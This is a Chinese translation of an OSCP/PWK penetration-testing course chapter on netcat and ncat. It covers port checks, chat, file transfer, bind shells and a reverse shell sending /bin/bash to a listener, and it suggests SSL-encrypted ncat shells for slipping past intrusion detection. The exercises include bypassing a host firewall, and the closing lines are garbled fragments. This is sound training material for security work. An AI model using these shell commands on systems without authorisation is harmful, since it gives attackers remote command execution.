OSCP-PWK-渗透测试nc代理使用
2022-11-13 22:43:52 Author: 红日安全(查看原文) 阅读量:13 收藏

OSCP必备参考书籍之一,这本书里加详细介绍实战套路中细节,为大家可以快速了解OSCP知识点,所以团队开启这本书翻译之作。
                    ---小峰

0x02.1  Netcat公司

nc是netcat的简写,有着网络界的瑞士军刀美誉。它可以运行在linux和Windows平台上,因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具,nc具体有如下作用
(1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
(2)端口的扫描,nc可以作为client发起TCP或UDP连接
(3)机器之间传输文件
(4)机器之间网络测速              

02.1.1 连接到TCP/UDP端口

连接到TCP/UDP端口存在以下几种情况:
·检查端口是否打开或关闭。
·从端口读取运行软件内容。
·可以手动连接到网络服务。
让我们首先在实验室使用netcat打开nc工具,检查下110端口(POP3邮件服务)是否打开。
Please note, the IPs used in the videos will not match your Offensive Security lab IP addresses. The IPs used in this guide are for example only.
[email protected]:~# nc -nv 10.0.0.22 110
(UNKNOWN) [10.0.0.22] 110 (pop3) open
通过上面输出内容我们发现,首先,通过netcat发现远程端口已经打开,IP 10.0.0.22与110端口TCP连接成功。接下来,我们可以看到服务器对我们的连接做出了响应,“回复我们”并发出服务器欢迎消息,提示我们登录,这是POP3服务的标准。
[email protected]:~# nc -nv 10.0.0.22 110
(UNKNOWN) [10.0.0.22] 110 (pop3) open
+OK POP3 server lab ready <[email protected]>
USER offsec
+OK offsec welcome here
PASS offsec
-ERR unable to lock mailbox
尽管我们的登录尝试失败了,但我们还是使用netcat工具与POP3服务成功的进行了关联。

02.1.2 监听TCP/UDP端口

对于网络调试客户端应用程序或以其他方式接收TCP/IP网络连接使用netcat监听TCP/UDP端口非常有效。让我们尝试实现一个两台机器的简单对话,将netcat用作客户端和服务器。我们将设置netcat以监听Windows计算机(IP地址为10.0.0.22)上TCP端口4444上的连接。
C:\Users\offsec>nc -nlvp 4444
listening on [any] 4444 ...
一旦我们将Windows机器上的端口4444绑定到Netcat上,我们就可以从Linux机器连接到该端口上交互。
[email protected]:~# nc -nv 10.0.0.22 4444
(UNKNOWN) [10.0.0.22] 4444 (?) open
This chat is from the linux machine
我们通过TCP端口4444发送到Windows机器,我们可以继续以Windows机器进行“对话”,如下图1.2.1所示。
1.2.简单的Netcat聊天窗口
虽然不是一个非常实战的示例,但这个简单的练习演示了netcat中的几个重要特性。确保你理解上述示例中的以下几个关键点:
o哪台机器当netcat服务器?
o哪台机器当netcat客户端?
o端口4444在哪台机器上实际上是打开的?
o客户端和服务器之间的命令语法存在的差异性。

02.1.3 -使用Netcat传输文件

Netcat还可以用于将文本和二进制文件从一台计算机传输到另一台计算机。为了将文件从Linux机器发送到Windows机器,我们启动了一个与前一个聊天示例类似的设置,但是有一点细微的区别。在Windows机器上,我们将在端口4444上设置netcat监听器,并将任何命令的输入重定向到名为incoming.exe的文件中。
C:\Users\offsec>nc -nlvp 4444 > incoming.exe
listening on [any] 4444 ...
在Linux系统上,我们将使用wget。exe文件通过TCP端口4444发送到Windows计算机:
[email protected]:~# locate wget.exe
[email protected]:~# nc -nv 10.0.0.22 4444 < /usr/share/windows-binaries/wget.exe
(UNKNOWN) [10.0.0.22] 4444 (?) open
netcat在Windows机器上接收连接,如图1.3.1所示:
1.3.1 在Windows上接收的连接
请注意,我们尚未看到netcat关于文件上传任何进度的反馈。在这种情况下,由于我们上传的文件很小,我们可以等待几秒钟,然后通过运行可执行文件来检查它是否已完全上传到Windows机器:
C:\Users\offsec>incoming.exe -h
GNU Wget 1.9.1, a non-interactive network retriever. Usage:

02.1.4  使用Netcat进行远程管理

netcat最有用的特性之一是它能够执行命令重定向。Netcat可以获取到一个可执行文件,并将输入、输出和错误消息重定向到TCP/UDP端口,而不是默认控制台。
要进一步解释这一点,请使用cmd.exe可执行文件。通过将stdin、stdout和stderr重定向到网络,可以将cmd.exe绑定到本地端口。连接到此端口的任何人都将收到属于此计算机的命令提示符。为了进一步将其场景还原,请考虑以下场景,包括Bob和Alice。

02.1.4.1 Netcat绑定Shell方案

在我们的第一个场景中,Bob(运行Windows)请求Alice的帮助(运行Linux),并要求她连接到他的计算机并远程发出一些命令。Bob有一个公共IP地址,并直接连接到Internet。然而,Alice位于NAT连接的之后,并且有一个内部IP地址。要完成此场景,Bob需要将cmd.exe绑定到其公共IP地址上的TCP端口,并要求Alice连接到此特定IP和端口。Bob将继续使用netcat发出以下命令。
C:\Users\offsec>nc -nlvp 4444 -e cmd.exe
listening on [any] 4444 ...
Netcat已将TCP端口4444绑定到cmd.exe,并将所有输入、输出或错误消息从cmd.exe重定向到网络。换句话说,任何连接到Bob机器上的TCP端口4444的人(希望是Alice)都将看到Bob的命令提示符。
[email protected]:~# ifconfig eth0 | grep inet
inet addr:10.0.0.4 Bcast:10.0.0.255 Mask:255.255.255.0
[email protected]:~# nc -nv 10.0.0.22 4444
(UNKNOWN) [10.0.0.22] 4444 (?) open
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\offsec>ipconfig Windows IP Configuration
Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . :

下图描述了Alice在Bob的Windows计算机上获得远程命令提示符访问的绑定shell场景如1.4.1所示:
1.4.1Netcat绑定Shell方案

02.1.4.2 -反向shell方案

在我们的第二个场景中,Alice需要Bob的帮助。然而,Alice无法控制办公室中的路由器,因此无法将流量从路由器转发到她的内部机器。bob有没有办法连接到Alice的电脑,并解决她的问题?
在这里,我们发现Netcat的另一个有用特性,即反向监听主机发送命令shell的能力。在这种情况下,尽管Alice无法在本地将端口绑定到其计算机上的/bin/bash并期望Bob连接,但她可以将命令提示符的控制权发送到Bob的机器。这称为反向shell。为了使此工作正常,Bob需要设置netcat来监听传入的shell。我们将在示例中使用端口4444:
C:\Users\offsec>nc -nlvp 4444
listening on [any] 4444 ...
现在,Alice可以从她的Linux机器向Bob发送一个反向shell:
[email protected]:~# nc -nv 10.0.0.22 4444 -e /bin/bash
(UNKNOWN) [10.0.0.22] 4444 (?) open
一旦建立了连接,Alice的netcat将把输入、输出和错误从/bin/bash重定向到端口4444上的Bob机器,如图1.4.2所示:
1.4.接收反向外壳的窗口
花一些时间考虑正向和反向shell之间的差异,以及这些差异如何从组织安全的角度应用于各种防火墙配置重要的是要认识到,传出的流量可能与传入的流量一样有害。下图描述了反向shell场景,其中Bob通过公司防火墙在Alice的Linux机器上获得远程shell访问。如图1.4.3所示:
1.4.3 反向shell

02.1.5 -练习

1.在Kali和Windows系统之间实现简单的聊天对话
2.练习使用Netcat创建以下内容:
a.从Kali到Windows的反向shell
b.从Windows到Kali的反向shell
c.将shell绑在Kali上。使用Windows客户端连接到它
d.在Windows上绑定shell。使用Kali系统连接
3.将文件从Kali系统传输到Windows,反之亦然
4.在Windows主机上启用防火墙的情况下,再次进行练习。根据需要调整练习,以绕过防火墙监听。

0x02.2 Ncat公司

Ncat被描述为“从命令行跨网络读取和写入数据的功能打包网络实用程序”。Ncat是为Nmap项目编写的,是对原始Netcat程序的一种改进。
从渗透测试人员的角度来看,Netcat的主要缺点之一是它缺乏对传入和传出连接进行身份验证和加密的能力。在渗透测试期间使用这些工具时,这些选项提供了一个重要的安全层。正向或反向shell加密将有助于渗透测试人员绕过入侵检测系统,同时允许绑定正向或反向身份验证
Ncat提供了所有这些功能。如果可能,应使用ncat和sbd等工具,而不是Netcat。例如,在前面的bindshell场景中,ncat可以用以下方式在Bob和Alice之间复制一个更安全的绑定shell。Bob将使用ncat在端口4444上设置SSL加密连接,并仅允许Alice的IP(10.0.0.4)连接到该端口:
C:\Users\offsec>ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
Ncat: Version 5.59BETA1 ( http://nmap.org/ncat ) Ncat: Generating a temporary 1024-bit RSA key.
Ncat: SHA-1 fingerprint: 1FC9 A338 0B1F 4AE5 897A 375F 404E 8CB1 12FA DB94
Ncat: Listening on 0.0.0.0:4444 Ncat:
反过来,Alice将连接到启用SSL加密的Bob的公共IP,以防止窃听,甚至可能是IDS检测。
[email protected]:~# ncat -v 10.0.0.22 4444 --ssl Ncat: Version 6.25 ( http://nmap.org/ncat ) Ncat: SSL connection to 10.0.0.22:4444.
Ncat: SHA-1 fingerprint: 1FC9 A338 0B1F 4AE5 897A 375F 404E 8CB1 12FA DB94
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
花点时间了解ncat和sbd。在现实世界的渗透测试中,它们都是非常有用的工具。

02.2.1 练习

1.使用Ncat创建从Windows系统到Kali机器的加密反向shell
2.在Windows VM上创建加密绑定shell。尝试在不加密的情况下从Kali连接到它。它仍然有效吗?
3.在Windows系统上制作一个未加密的Ncat绑定shell。使用Netcat连接到shell。它有效吗?

0x02.3 

bashlinux使

Hvv

稿&

annapeng2021@163.com

hacker

  

 jia  

|

使

   


文章来源: http://mp.weixin.qq.com/s?__biz=MzI4NjEyMDk0MA==&mid=2649851492&idx=1&sn=0523a627eaafc21c91adf97410e73612&chksm=f3e4e8e7c49361f1dd5fc85d37e9026411c4861732e4dcf3113ee8d0f1095d74b4158fa6199d#rd
如有侵权请联系:admin#unsafe.sh